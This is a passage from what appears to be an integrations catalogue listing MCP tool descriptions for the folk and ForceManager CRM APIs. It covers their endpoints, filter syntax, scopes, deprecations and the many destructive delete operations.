deliveries to your handler (Standard Webhooks, HMAC-SHA256) and is never used to call folk. DELETE /api/v1/folk/v1/webhooks/{webhookId}. Scopes: api. folk_get_v1_companies (read) — Retrieve a list of companies in the workspace. Companies are folk's organisation records, linked to people and to deals. `filter` is a JSON OBJECT SUPPLIED AS TEXT -- for example `{"fullName": {"like": "Horace"}}` or `{"groups": {"in": {"id": "grp_..."}}}`. Agentic Fabriq expands it into the bracketed form folk actually accepts (`filter[fullName][like]=Horace`); folk refuses the object sent any other way with 422. Each key is a filterable attribute and each inner key an operator (`eq`, `not_eq`, `like`, `not_like`, `gt`, `lt`, `in`, `all`, `empty`, `not_empty`); an attribute folk does not recognise is refused with 422 `unrecognized_keys` naming it. `combinator` decides whether several filters are ANDed or ORed. GET /api/v1/folk/v1/companies. Scopes: api. folk_get_v1_companies_company_id (read) — Retrieve an existing company in the workspace. Companies are folk's organisation records, linked to people and to deals. GET /api/v1/folk/v1/companies/{companyId}. Scopes: api. folk_get_v1_groups (read) — Returns a list of workspace groups. Groups are folk's collections of contacts; a workspace is organised into them and most other resources are addressed through one. GET /api/v1/folk/v1/groups. Scopes: api. folk_get_v1_groups_group_id_custom_fields_entity_type (read) — Returns a list of group custom fields for an entity type. Group custom fields define the extra columns a group's people, companies and custom objects carry. Listing them for the `person` entity type is also how you discover a group's object types: every field of type `objectField` names one, and its `name` is what goes in `objectType`. GET /api/v1/folk/v1/groups/{groupId}/custom-fields/{entityType}. Scopes: api. folk_get_v1_groups_group_id_custom_fields_entity_type_custom_field_name (read) — Returns a detailed group custom field for an entity type. Group custom fields define the extra columns a group's people, companies and custom objects carry. Listing them for the `person` entity type is also how you discover a group's object types: every field of type `objectField` names one, and its `name` is what goes in `objectType`. GET /api/v1/folk/v1/groups/{groupId}/custom-fields/{entityType}/{customFieldName}. Scopes: api. folk_get_v1_groups_group_id_members (read) — Returns a list of the group members. For a public group, all workspace members are members of the group. Group members are WORKSPACE USERS with access to a group, not the contacts inside it. A public group is accessible to every workspace member. GET /api/v1/folk/v1/groups/{groupId}/members. Scopes: api. folk_get_v1_groups_group_id_object_type (read) — Retrieve a list of deals in the workspace. A group can hold any object type you define -- `Deals` is the default, and `Projects`, `Applications` and so on are custom objects. They all share one set of endpoints under /v1/groups/{groupId}/{objectType}, and `objectType` is the type's name exactly as the folk app spells it (the match is CASE-SENSITIVE). List the group's custom fields for `person` to find the available names. `filter` is a JSON OBJECT SUPPLIED AS TEXT -- for example `{"fullName": {"like": "Horace"}}` or `{"groups": {"in": {"id": "grp_..."}}}`. Agentic Fabriq expands it into the bracketed form folk actually accepts (`filter[fullName][like]=Horace`); folk refuses the object sent any other way with 422. Each key is a filterable attribute and each inner key an operator (`eq`, `not_eq`, `like`, `not_like`, `gt`, `lt`, `in`, `all`, `empty`, `not_empty`); an attribute folk does not recognise is refused with 422 `unrecognized_keys` naming it. `combinator` decides whether several filters are ANDed or ORed. GET /api/v1/folk/v1/groups/{groupId}/{objectType}. Scopes: api. folk_get_v1_groups_group_id_object_type_object_id (read) — Retrieve an existing deal in the workspace. A group can hold any object type you define -- `Deals` is the default, and `Projects`, `Applications` and so on are custom objects. They all share one set of endpoints under /v1/groups/{groupId}/{objectType}, and `objectType` is the type's name exactly as the folk app spells it (the match is CASE-SENSITIVE). List the group's custom fields for `person` to find the available names. GET /api/v1/folk/v1/groups/{groupId}/{objectType}/{objectId}. Scopes: api. folk_get_v1_interactions_interaction_id (read) — Retrieves a single interaction. Full email or calendar body is included when privacy rules allow it. This endpoint is currently in open beta. The API surface may change as we iterate based on feedback. Interactions are the logged history with a contact -- meetings, calls, emails. folk marks the past/upcoming/get/update/delete family OPEN BETA in its own schema, so the surface may change. GET /api/v1/folk/v1/interactions/{interactionId}. Scopes: api. folk_get_v1_interactions_past (read) — Retrieves paginated past interactions linked to a person, company, or object. This endpoint is currently in open beta. The API surface may change as we iterate based on feedback. Interactions are the logged history with a contact -- meetings, calls, emails. folk marks the past/upcoming/get/update/delete family OPEN BETA in its own schema, so the surface may change. GET /api/v1/folk/v1/interactions/past. Scopes: api. folk_get_v1_interactions_upcoming (read) — Retrieves paginated upcoming interactions linked to a person, company, or object. This endpoint is currently in open beta. The API surface may change as we iterate based on feedback. Interactions are the logged history with a contact -- meetings, calls, emails. folk marks the past/upcoming/get/update/delete family OPEN BETA in its own schema, so the surface may change. GET /api/v1/folk/v1/interactions/upcoming. Scopes: api. folk_get_v1_notes (read) — Retrieve a list of notes in the workspace. Notes are free-text entries attached to a person, company or object. GET /api/v1/folk/v1/notes. Scopes: api. folk_get_v1_notes_note_id (read) — Retrieve an existing note in the workspace. Notes are free-text entries attached to a person, company or object. GET /api/v1/folk/v1/notes/{noteId}. Scopes: api. folk_get_v1_people (read) — Retrieve a list of people in the workspace. People are folk's contact records. A person may belong to several groups and several companies at once. `filter` is a JSON OBJECT SUPPLIED AS TEXT -- for example `{"fullName": {"like": "Horace"}}` or `{"groups": {"in": {"id": "grp_..."}}}`. Agentic Fabriq expands it into the bracketed form folk actually accepts (`filter[fullName][like]=Horace`); folk refuses the object sent any other way with 422. Each key is a filterable attribute and each inner key an operator (`eq`, `not_eq`, `like`, `not_like`, `gt`, `lt`, `in`, `all`, `empty`, `not_empty`); an attribute folk does not recognise is refused with 422 `unrecognized_keys` naming it. `combinator` decides whether several filters are ANDed or ORed. GET /api/v1/folk/v1/people. Scopes: api. folk_get_v1_people_person_id (read) — Retrieve an existing person in the workspace. People are folk's contact records. A person may belong to several groups and several companies at once. GET /api/v1/folk/v1/people/{personId}. Scopes: api. folk_get_v1_reminders (read) — Retrieve a list of reminders in the workspace. This endpoint is deprecated since August 13, 2026 and will be removed on February 13, 2027. Please use the List tasks endpoint instead. DEPRECATED by folk since 13 August 2026 and scheduled for REMOVAL on 13 February 2027; the live response carries a `deprecations` array saying so. Use the Tasks tools instead for anything new -- this one still answers 200 today and will stop. GET /api/v1/folk/v1/reminders. Scopes: api. folk_get_v1_reminders_reminder_id (read) — Retrieve an existing reminder in the workspace. This endpoint is deprecated since August 13, 2026 and will be removed on February 13, 2027. Please use the Get a task endpoint instead. DEPRECATED by folk since 13 August 2026 and scheduled for REMOVAL on 13 February 2027; the live response carries a `deprecations` array saying so. Use the Tasks tools instead for anything new -- this one still answers 200 today and will stop. GET /api/v1/folk/v1/reminders/{reminderId}. Scopes: api. folk_get_v1_tasks (read) — Retrieve a paginated list of tasks in the workspace, optionally filtered by attributes. Tasks are folk's to-dos, each attached to a person, company or object, with a due date, optional assignees and a done/to-do state. `filter` is a JSON OBJECT SUPPLIED AS TEXT -- for example `{"fullName": {"like": "Horace"}}` or `{"groups": {"in": {"id": "grp_..."}}}`. Agentic Fabriq expands it into the bracketed form folk actually accepts (`filter[fullName][like]=Horace`); folk refuses the object sent any other way with 422. Each key is a filterable attribute and each inner key an operator (`eq`, `not_eq`, `like`, `not_like`, `gt`, `lt`, `in`, `all`, `empty`, `not_empty`); an attribute folk does not recognise is refused with 422 `unrecognized_keys` naming it. `combinator` decides whether several filters are ANDed or ORed. GET /api/v1/folk/v1/tasks. Scopes: api. folk_get_v1_tasks_task_id (read) — Retrieve an existing task in the workspace. Tasks are folk's to-dos, each attached to a person, company or object, with a due date, optional assignees and a done/to-do state. GET /api/v1/folk/v1/tasks/{taskId}. Scopes: api. folk_get_v1_users (read) — Returns a list of workspace users. Users are the people who work IN the folk workspace, not its contacts. GET /api/v1/folk/v1/users. Scopes: api. folk_get_v1_users_me (read) — Returns the current workspace user. Users are the people who work IN the folk workspace, not its contacts. This is also the credential probe: measured 2026-09-19 it answers 200 with the key's own user object, 401 UNAUTHORIZED to a malformed key and 401 to no Authorization header at all. GET /api/v1/folk/v1/users/me. Scopes: api. folk_get_v1_users_user_id (read) — Returns a workspace user. Users are the people who work IN the folk workspace, not its contacts. GET /api/v1/folk/v1/users/{userId}. Scopes: api. folk_get_v1_webhooks (read) — Retrieve a list of webhooks in the workspace. Webhooks deliver workspace events to a URL you own. The per-webhook signing secret folk returns AT CREATION is shown once and is NOT a folk API credential: it verifies inbound deliveries to your handler (Standard Webhooks, HMAC-SHA256) and is never used to call folk. GET /api/v1/folk/v1/webhooks. Scopes: api. folk_get_v1_webhooks_webhook_id (read) — Retrieve an existing webhook in the workspace. Webhooks deliver workspace events to a URL you own. The per-webhook signing secret folk returns AT CREATION is shown once and is NOT a folk API credential: it verifies inbound deliveries to your handler (Standard Webhooks, HMAC-SHA256) and is never used to call folk. GET /api/v1/folk/v1/webhooks/{webhookId}. Scopes: api. folk_patch_v1_companies_company_id (write) — Update an existing company in the workspace. Companies are folk's organisation records, linked to people and to deals. PATCH /api/v1/folk/v1/companies/{companyId}. Scopes: api. folk_patch_v1_groups_group_id (write) — Update a group's name and/or visibility. Groups are folk's collections of contacts; a workspace is organised into them and most other resources are addressed through one. PATCH /api/v1/folk/v1/groups/{groupId}. Scopes: api. folk_patch_v1_groups_group_id_custom_fields_entity_type_custom_field_name (write) — Updates a group custom field for an entity type. Group custom fields define the extra columns a group's people, companies and custom objects carry. Listing them for the `person` entity type is also how you discover a group's object types: every field of type `objectField` names one, and its `name` is what goes in `objectType`. PATCH /api/v1/folk/v1/groups/{groupId}/custom-fields/{entityType}/{customFieldName}. Scopes: api. folk_patch_v1_groups_group_id_members_user_id (write) — Updates a group member's role. Group members are WORKSPACE USERS with access to a group, not the contacts inside it. A public group is accessible to every workspace member. PATCH /api/v1/folk/v1/groups/{groupId}/members/{userId}. Scopes: api. folk_patch_v1_groups_group_id_object_type_object_id (write) — Update an existing deal in the workspace. A group can hold any object type you define -- `Deals` is the default, and `Projects`, `Applications` and so on are custom objects. They all share one set of endpoints under /v1/groups/{groupId}/{objectType}, and `objectType` is the type's name exactly as the folk app spells it (the match is CASE-SENSITIVE). List the group's custom fields for `person` to find the available names. PATCH /api/v1/folk/v1/groups/{groupId}/{objectType}/{objectId}. Scopes: api. folk_patch_v1_interactions_interaction_id (write) — Partially update an existing logged interaction (title, content, date-time, activityType). Imported interactions cannot be updated. This endpoint is currently in open beta. The API surface may change as we iterate based on feedback. Interactions are the logged history with a contact -- meetings, calls, emails. folk marks the past/upcoming/get/update/delete family OPEN BETA in its own schema, so the surface may change. PATCH /api/v1/folk/v1/interactions/{interactionId}. Scopes: api. folk_patch_v1_notes_note_id (write) — Update an existing note in the workspace. Notes are free-text entries attached to a person, company or object. PATCH /api/v1/folk/v1/notes/{noteId}. Scopes: api. folk_patch_v1_people_person_id (write) — Update an existing person in the workspace. People are folk's contact records. A person may belong to several groups and several companies at once. PATCH /api/v1/folk/v1/people/{personId}. Scopes: api. folk_patch_v1_reminders_reminder_id (write) — Update an existing reminder in the workspace. This endpoint is deprecated since August 13, 2026 and will be removed on February 13, 2027. Please use the Update a task endpoint instead. DEPRECATED by folk since 13 August 2026 and scheduled for REMOVAL on 13 February 2027; the live response carries a `deprecations` array saying so. Use the Tasks tools instead for anything new -- this one still answers 200 today and will stop. PATCH /api/v1/folk/v1/reminders/{reminderId}. Scopes: api. folk_patch_v1_tasks_task_id (write) — Update an existing task in the workspace. Tasks are folk's to-dos, each attached to a person, company or object, with a due date, optional assignees and a done/to-do state. PATCH /api/v1/folk/v1/tasks/{taskId}. Scopes: api. folk_patch_v1_webhooks_webhook_id (write) — Update an existing webhook in the workspace. Webhooks deliver workspace events to a URL you own. The per-webhook signing secret folk returns AT CREATION is shown once and is NOT a folk API credential: it verifies inbound deliveries to your handler (Standard Webhooks, HMAC-SHA256) and is never used to call folk. PATCH /api/v1/folk/v1/webhooks/{webhookId}. Scopes: api. folk_post_v1_companies (write) — Create a new company in the workspace. Companies are folk's organisation records, linked to people and to deals. POST /api/v1/folk/v1/companies. Scopes: api. folk_post_v1_companies_search (write) — Search for companies in the workspace. Companies are folk's organisation records, linked to people and to deals. `filter` is a JSON OBJECT SUPPLIED AS TEXT -- for example `{"fullName": {"like": "Horace"}}` or `{"groups": {"in": {"id": "grp_..."}}}`. Agentic Fabriq expands it into the bracketed form folk actually accepts (`filter[fullName][like]=Horace`); folk refuses the object sent any other way with 422. Each key is a filterable attribute and each inner key an operator (`eq`, `not_eq`, `like`, `not_like`, `gt`, `lt`, `in`, `all`, `empty`, `not_empty`); an attribute folk does not recognise is refused with 422 `unrecognized_keys` naming it. `combinator` decides whether several filters are ANDed or ORed. POST /api/v1/folk/v1/companies/search. Scopes: api. folk_post_v1_groups (write) — Create a new group in the workspace. A default "All people" table view is automatically created for the group. Groups are folk's collections of contacts; a workspace is organised into them and most other resources are addressed through one. POST /api/v1/folk/v1/groups. Scopes: api. folk_post_v1_groups_group_id_custom_fields_entity_type (write) — Creates a new group custom field for an entity type. Group custom fields define the extra columns a group's people, companies and custom objects carry. Listing them for the `person` entity type is also how you discover a group's object types: every field of type `objectField` names one, and its `name` is what goes in `objectType`. folk declares this body as a `oneOf` over eight custom-field types. The union of their fields is shipped flat -- `type` is the discriminator and `options`/`config` belong to particular types -- and folk enforces the per-type rules itself, refusing a field the chosen type does not take with 422. POST /api/v1/folk/v1/groups/{groupId}/custom-fields/{entityType}. Scopes: api. folk_post_v1_groups_group_id_members (write) — Adds a member to a group. Group members are WORKSPACE USERS with access to a group, not the contacts inside it. A public group is accessible to every workspace member. POST /api/v1/folk/v1/groups/{groupId}/members. Scopes: api. folk_post_v1_groups_group_id_object_type (write) — Create a new deal in the workspace. A group can hold any object type you define -- `Deals` is the default, and `Projects`, `Applications` and so on are custom objects. They all share one set of endpoints under /v1/groups/{groupId}/{objectType}, and `objectType` is the type's name exactly as the folk app spells it (the match is CASE-SENSITIVE). List the group's custom fields for `person` to find the available names. POST /api/v1/folk/v1/groups/{groupId}/{objectType}. Scopes: api. folk_post_v1_groups_group_id_object_type_search (write) — Search deals in the workspace. A group can hold any object type you define -- `Deals` is the default, and `Projects`, `Applications` and so on are custom objects. They all share one set of endpoints under /v1/groups/{groupId}/{objectType}, and `objectType` is the type's name exactly as the folk app spells it (the match is CASE-SENSITIVE). List the group's custom fields for `person` to find the available names. `filter` is a JSON OBJECT SUPPLIED AS TEXT -- for example `{"fullName": {"like": "Horace"}}` or `{"groups": {"in": {"id": "grp_..."}}}`. Agentic Fabriq expands it into the bracketed form folk actually accepts (`filter[fullName][like]=Horace`); folk refuses the object sent any other way with 422. Each key is a filterable attribute and each inner key an operator (`eq`, `not_eq`, `like`, `not_like`, `gt`, `lt`, `in`, `all`, `empty`, `not_empty`); an attribute folk does not recognise is refused with 422 `unrecognized_keys` naming it. `combinator` decides whether several filters are ANDed or ORed. POST /api/v1/folk/v1/groups/{groupId}/{objectType}/search. Scopes: api. folk_post_v1_interactions (write) — Creates a new interaction (https://help.folk.app/en/articles/7012167-log-a-new-interaction) with a person or a company. Interactions are the logged history with a contact -- meetings, calls, emails. folk marks the past/upcoming/get/update/delete family OPEN BETA in its own schema, so the surface may change. POST /api/v1/folk/v1/interactions. Scopes: api. folk_post_v1_notes (write) — Create a new note in the workspace. Notes are free-text entries attached to a person, company or object. POST /api/v1/folk/v1/notes. Scopes: api. folk_post_v1_people (write) — Create a new person in the workspace. People are folk's contact records. A person may belong to several groups and several companies at once. POST /api/v1/folk/v1/people. Scopes: api. folk_post_v1_people_search (write) — Search for people in the workspace. People are folk's contact records. A person may belong to several groups and several companies at once. `filter` is a JSON OBJECT SUPPLIED AS TEXT -- for example `{"fullName": {"like": "Horace"}}` or `{"groups": {"in": {"id": "grp_..."}}}`. Agentic Fabriq expands it into the bracketed form folk actually accepts (`filter[fullName][like]=Horace`); folk refuses the object sent any other way with 422. Each key is a filterable attribute and each inner key an operator (`eq`, `not_eq`, `like`, `not_like`, `gt`, `lt`, `in`, `all`, `empty`, `not_empty`); an attribute folk does not recognise is refused with 422 `unrecognized_keys` naming it. `combinator` decides whether several filters are ANDed or ORed. POST /api/v1/folk/v1/people/search. Scopes: api. folk_post_v1_reminders (write) — Create a new reminder in the workspace. This endpoint is deprecated since August 13, 2026 and will be removed on February 13, 2027. Please use the Create a task endpoint instead. DEPRECATED by folk since 13 August 2026 and scheduled for REMOVAL on 13 February 2027; the live response carries a `deprecations` array saying so. Use the Tasks tools instead for anything new -- this one still answers 200 today and will stop. POST /api/v1/folk/v1/reminders. Scopes: api. folk_post_v1_tasks (write) — Create a new task in the workspace. Tasks are folk's to-dos, each attached to a person, company or object, with a due date, optional assignees and a done/to-do state. POST /api/v1/folk/v1/tasks. Scopes: api. folk_post_v1_tasks_task_id_mark_as_done (write) — Mark an existing task as done. Tasks are folk's to-dos, each attached to a person, company or object, with a due date, optional assignees and a done/to-do state. POST /api/v1/folk/v1/tasks/{taskId}/mark-as-done. Scopes: api. folk_post_v1_tasks_task_id_mark_as_todo (write) — Mark an existing task as to do. Tasks are folk's to-dos, each attached to a person, company or object, with a due date, optional assignees and a done/to-do state. POST /api/v1/folk/v1/tasks/{taskId}/mark-as-todo. Scopes: api. folk_post_v1_webhooks (write) — Creates a new webhook listening to workspace events. Webhooks deliver workspace events to a URL you own. The per-webhook signing secret folk returns AT CREATION is shown once and is NOT a folk API credential: it verifies inbound deliveries to your handler (Standard Webhooks, HMAC-SHA256) and is never used to call folk. POST /api/v1/folk/v1/webhooks. Scopes: api. ================================================================================ ## ForceManager URL: https://www.agenticfabriq.com/integrations/forcemanager Section: Integrated Tools ForceManager — 271 MCP tools Provider key: forcemanager. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. forcemanager_delete_accountaddresses_by_id (write, destructive) — Delete Account Address via DELETE /accountAddresses/{account_address_id}. This endpoint allows you to delete a specific Account Address from the user's ForceManager implementation database. If the specified Account Address does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/accountAddresses/{account_address_id}. Scopes: api. forcemanager_delete_accounts_by_id (write, destructive) — Delete Account via DELETE /accounts/{account_id}. This endpoint allows you to delete a specific Account from the user's ForceManager implementation database. If the specified Account does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/accounts/{account_id}. Scopes: api. forcemanager_delete_accountsegments_by_id (write, destructive) — Delete Account Segment via DELETE /accountSegments/{account_segment_id}. This endpoint allows you to delete a specific Account Segment from the user's ForceManager implementation database. If the specified Account Segment does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/accountSegments/{account_segment_id}. Scopes: api. forcemanager_delete_accountsrelated_by_id (write, destructive) — Delete Related Account via DELETE /accountsRelated/{related_account_id}. This endpoint allows you to delete a specific Related Account from the user's ForceManager implementation database. If the specified Related Account does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/accountsRelated/{related_account_id}. Scopes: api. forcemanager_delete_accountsrelations_by_id (write, destructive) — Delete Related Account Type via DELETE /accountsRelations/{related_account_type_id}. This endpoint allows you to delete a specific Related Account Type from the user's ForceManager implementation database. If the specified Related Account Type does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/accountsRelations/{related_account_type_id}. Scopes: api. forcemanager_delete_accountstatuses_by_id (write, destructive) — Delete Account Status via DELETE /accountStatuses/{account_status_id}. This endpoint allows you to delete a specific Account Status from the user's ForceManager implementation database. If the specified Account Status does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/accountStatuses/{account_status_id}. Scopes: api. forcemanager_delete_activities_by_id (write, destructive) — Delete Activity via DELETE /activities/{activity_id}. This endpoint allows you to delete a specific Activity from the user's ForceManager implementation database. If the specified Activity does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/activities/{activity_id}. Scopes: api. forcemanager_delete_activitytypes_by_id (write, destructive) — Delete Activity Type via DELETE /activityTypes/{activity_type_id}. This endpoint allows you to delete a specific Activity Type from the user's ForceManager implementation database. If the specified Activity Type does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/activityTypes/{activity_type_id}. Scopes: api. forcemanager_delete_branches_by_id (write, destructive) — Delete Branch via DELETE /branches/{branch_id}. This endpoint allows you to delete a specific Branch from the Value List. If the specified Branch does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/branches/{branch_id}. Scopes: api. forcemanager_delete_calendar_by_id (write, destructive) — Delete Calendar via DELETE /calendar/{calendar_entry_id}. This endpoint allows you to delete a specific calendar Event or Task from the user's ForceManager implementation database. If the specified calendar Event or Task does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/calendar/{calendar_entry_id}. Scopes: api. forcemanager_delete_calls_by_id (write, destructive) — Delete Call via DELETE /calls/{call_id}. This endpoint allows you to delete a specific Call from the user's ForceManager implementation database. If the specified Call does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/calls/{call_id}. Scopes: api. forcemanager_delete_campaignquestions_by_id (write, destructive) — Delete Campaign Question via DELETE /campaignQuestions/{question_id}. This endpoint allows you to delete a specific Campaign Question from the user's ForceManager implementation database. If the specified Campaign Question does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/campaignQuestions/{question_id}. Scopes: api. forcemanager_delete_campaignquestions_by_id_answers_by_id (write, destructive) — Delete Question Answer via DELETE /campaignQuestions/{question_id}/answers/{answer_id}. This endpoint allows you to delete a specific Campaign Question Answer from the user's ForceManager implementation database. If the specified Campaign Question Answer does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/campaignQuestions/{question_id}/answers/{answer_id}. Scopes: api. forcemanager_delete_campaignquestions_by_id_values_by_id (write, destructive) — Delete Question Value via DELETE /campaignQuestions/{question_id}/values/{value_id}. This endpoint allows you to delete a specific Campaign Question Value from the user's ForceManager implementation database. If the specified Campaign Question Value does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/campaignQuestions/{question_id}/values/{value_id}. Scopes: api. forcemanager_delete_campaigns_by_id (write, destructive) — Delete Campaign via DELETE /campaigns/{campaign_id}. This endpoint allows you to delete a specific Campaign from the user's ForceManager implementation database. If the specified Campaign does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/campaigns/{campaign_id}. Scopes: api. forcemanager_delete_campaigns_by_id_entities_by_entity_id (write, destructive) — Delete Campaign Account via DELETE /campaigns/{campaign_id}/entities/{entity_id}. This endpoint allows you to delete a specific Campaign Account from the user's ForceManager implementation database. If the specified Campaign Account does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/campaigns/{campaign_id}/entities/{entity_id}. Scopes: api. forcemanager_delete_contacts_by_id (write, destructive) — Delete Contact via DELETE /contacts/{contact_id}. This endpoint allows you to delete a specific Contact from the user's ForceManager account database. If the specified Contact does not exist, the response will be a "bad request". This operation cannot be undone.
DELETE /api/v1/forcemanager/contacts/{contact_id}. Scopes: api. forcemanager_delete_contacttypes_by_id (write, destructive) — Delete Contact Type via DELETE /contactTypes/{contact_type_id}. This endpoint allows you to delete a specific Contact Type from the user's ForceManager implementation database. If the specified Contact Type does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/contactTypes/{contact_type_id}. Scopes: api. forcemanager_delete_documents_by_id (write, destructive) — Delete Picture via DELETE /documents/{document_id}. This endpoint allows you to delete a specific Picture from the user's ForceManager implementation database. If the specified Picture does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/documents/{document_id}. Scopes: api. forcemanager_delete_extrafieldstabs_by_id (write, destructive) — Delete Tabs via DELETE /extrafieldsTabs/{tab_id}. This endpoint allows you to delete a specific Tab from the user's ForceManager implementation database. If the specified Tab does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/extrafieldsTabs/{tab_id}. Scopes: api. forcemanager_delete_hooks_by_id (write, destructive) — Delete Webhook via DELETE /hooks/{webhook_id}. This endpoint allows you to delete a specific Webhook from the user's ForceManager implementation database. If the specified Webhook does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/hooks/{webhook_id}. Scopes: api. forcemanager_delete_list_accounttypes_by_id (write, destructive) — Delete Account Type via DELETE /list/accountTypes/{account_type_id}. This endpoint allows you to delete a specific Account Type from the user's ForceManager implementation database. If the specified Account Type does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/list/accountTypes/{account_type_id}. Scopes: api. forcemanager_delete_list_by_name (write, destructive) — Delete List via DELETE /list/{list_name}. This endpoint allows you to delete a specific List. If the specified List does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/list/{list_name}. Scopes: api. forcemanager_delete_list_by_name_by_id (write, destructive) — Delete Value via DELETE /list/{list_name}/{value_id}. This endpoint allows you to delete a specific Value from a Value List. If the specified Value does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/list/{list_name}/{value_id}. Scopes: api. forcemanager_delete_opportunities_by_id (write, destructive) — Delete Opportunity via DELETE /opportunities/{opportunity_id}. This endpoint allows you to delete a specific Opportunity from the user's ForceManager implementation database. If the specified Opportunity does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/opportunities/{opportunity_id}. Scopes: api. forcemanager_delete_opportunitystatuses_by_id (write, destructive) — Delete Opportunity Status via DELETE /opportunityStatuses/{opportunity_status_id}. This endpoint allows you to delete a specific Opportunity Status from the user's ForceManager implementation database. If the specified Opportunity Status does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/opportunityStatuses/{opportunity_status_id}. Scopes: api. forcemanager_delete_opportunitytypes_by_id (write, destructive) — Delete Opportunity Type via DELETE /opportunityTypes/{opportunity_type_id}. This endpoint allows you to delete a specific Opportunity Type from the user's ForceManager implementation database. If the specified Opportunity Type does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/opportunityTypes/{opportunity_type_id}. Scopes: api. forcemanager_delete_ordertypes_by_id (write, destructive) — Delete Order Types via DELETE /orderTypes/{order_type_id}. This endpoint allows you to delete a specific Order Types from the user's ForceManager implementation database. If the specified Order Types does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/orderTypes/{order_type_id}. Scopes: api. forcemanager_delete_productcategories_by_id (write, destructive) — Delete Product Category via DELETE /productCategories/{product_category_id}. This endpoint allows you to delete a specific Product Category. If the specified Product Category does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/productCategories/{product_category_id}. Scopes: api. forcemanager_delete_productfamilies_by_id (write, destructive) — Delete Product Family via DELETE /productFamilies/{product_family_id}. This endpoint allows you to delete a specific Product Family. If the specified Product Family does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/productFamilies/{product_family_id}. Scopes: api. forcemanager_delete_productrates_by_id (write, destructive) — Delete Product Rate via DELETE /productRates/{product_rate_id}. This endpoint allows you to delete a specific Product Rate. If the specified Product Rate does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/productRates/{product_rate_id}. Scopes: api. forcemanager_delete_products_bulk (write, destructive) — Bulk Delete Products via DELETE /products/bulk. This endpoint allows you to delete Multiple Products (100 entities for request) from the user's ForceManager implementation database. If the specified Account does not exist, the response will be a "bad request". This operation cannot be undone. Send an ARRAY of `{guid, id}` objects -- authored from the vendor's REQUEST prose, because the contract declares no requestBody here, and unverified against the live API. Cap 100 entities per request; one result row per `guid`. DELETE /api/v1/forcemanager/products/bulk. Scopes: api. forcemanager_delete_products_by_id (write, destructive) — Delete Product via DELETE /products/{product_id}. This endpoint allows you to delete a specific Product from the user's ForceManager implementation database. If the specified Product does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/products/{product_id}. Scopes: api. forcemanager_delete_rates_by_id (write, destructive) — Delete Rate via DELETE /rates/{rate_id}. This endpoint allows you to delete a specific Rate from the user's ForceManager implementation database. If the specified Rate does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/rates/{rate_id}. Scopes: api. forcemanager_delete_resource_bulk (write, destructive) — Bulk Delete Resources via DELETE /{resource}/bulk. This endpoint allows you to delete multiple Resources (120 entities for request) from the user's ForceManager implementation database. If the specified Resource does not exist, the response will be a "bad request". This operation cannot be undone. Send an ARRAY of `{guid, id}` objects -- authored from the vendor's REQUEST prose, because the contract declares no requestBody here, and unverified against the live API. Cap 120 entities per request; one result row per `guid`. `resource` is the entity name in the first path segment; the vendor documents Accounts, Contacts, Opportunities, Orders and Value Lists are the examples the vendor gives ('e.g.'), so the list is not exhaustive. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. DELETE /api/v1/forcemanager/{resource}/bulk. Scopes: api. forcemanager_delete_resource_warnings_by_id (write, destructive) — Delete Warning of a Resource via DELETE /{resource}/{resource_id}/warnings/{warning_id}. This endpoint allows you to delete a Warning of a specific Resource (accounts, opportunities, products, salesorders) based on JSON input. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `opportunities`, `products`, `salesorders`. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. This operation cannot be undone. DELETE /api/v1/forcemanager/{resource}/{resource_id}/warnings/{warning_id}. Scopes: api. forcemanager_delete_sales_by_id (write, destructive) — Delete Sale via DELETE /sales/{sale_id}. This endpoint allows you to delete a specific Sale from the user's ForceManager 